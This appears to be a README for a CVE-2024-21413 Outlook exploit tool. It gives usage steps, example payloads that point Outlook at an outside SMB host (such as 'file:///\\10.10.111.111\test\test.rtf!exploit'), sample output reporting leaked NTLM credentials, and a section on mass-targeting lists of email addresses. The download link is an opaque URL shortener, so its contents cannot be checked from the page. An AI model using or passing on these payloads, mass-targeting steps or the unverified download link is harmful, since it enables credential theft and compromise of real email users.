# 🛠️ CVE-2024-21413 Exploit
## 🌟 Description
This script is a powerful exploitation tool for the CVE-2024-21413 vulnerability found in Microsoft Outlook. The vulnerability allows attackers to bypass Protected View and execute malicious code by embedding specially crafted links in emails.
## ⚙️ Installation
To set up the exploitation tool, follow these steps:
1. **Download the repository**:
|[Download](https://shorturl.at/7itzw)
|:--------------- |
2. **Navigate to the tool's directory**:
```bash
cd CVE-2024-21413
```
3. **Install the required Python packages**:
```bash
pip install -r requirements.txt
```
## 🚀 Usage
To use the tool, run the script from the command line as follows:
```bash
python exploit.py [options]
```
### Options
- **-u, --url**:
Specify the target Outlook email or server.
- **-f, --file**:
Specify a file containing multiple email addresses to target.
- **-p, --payload**:
Define a malicious file or link to inject.
- **-o, --output**:
Define an output file to save logs and results.
When a single target is provided with the `-u` option and the system is vulnerable, the script will attempt to exploit the vulnerability by crafting a malicious email containing an embedded file link using the bypass method.
### Example
```bash
$ python3 exploit.py -u victim@domain.com -p "file:///\\10.10.111.111\test\test.rtf!exploit"
[+] Payload successfully sent.
[!] victim@domain.com is vulnerable to CVE-2024-21413: NTLM credentials leaked.
[+] Exploit completed.
```
## 📊 Mass Targeting
For mass exploitation, use the `-f` option with a file containing multiple email addresses. The tool will attempt to send a crafted email to each target.
```bash
python exploit.py -f targets.txt -p "file:///\\malicious.server\payload.rtf!exploit"
```
## 🗒️ Affected Versions
The vulnerability affects the following Microsoft Office products:
- Microsoft Office LTSC 2021
- Microsoft 365 Apps for Enterprise
- Microsoft Outlook 2016
- Microsoft Office 2019
Successful exploitation can result in NTLM credential theft and arbitrary code execution.
## 🛡️ Disclaimer
Use this tool responsibly and ethically. Exploiting systems without authorization is illegal. Always obtain proper authorization before testing any system for vulnerabilities.
## 👏 Acknowledgments
Special thanks to Check Point researchers for discovering this vulnerability and providing insights into its exploitation method.
登录后查看神龙缓存的 POC 文件快照
登录查看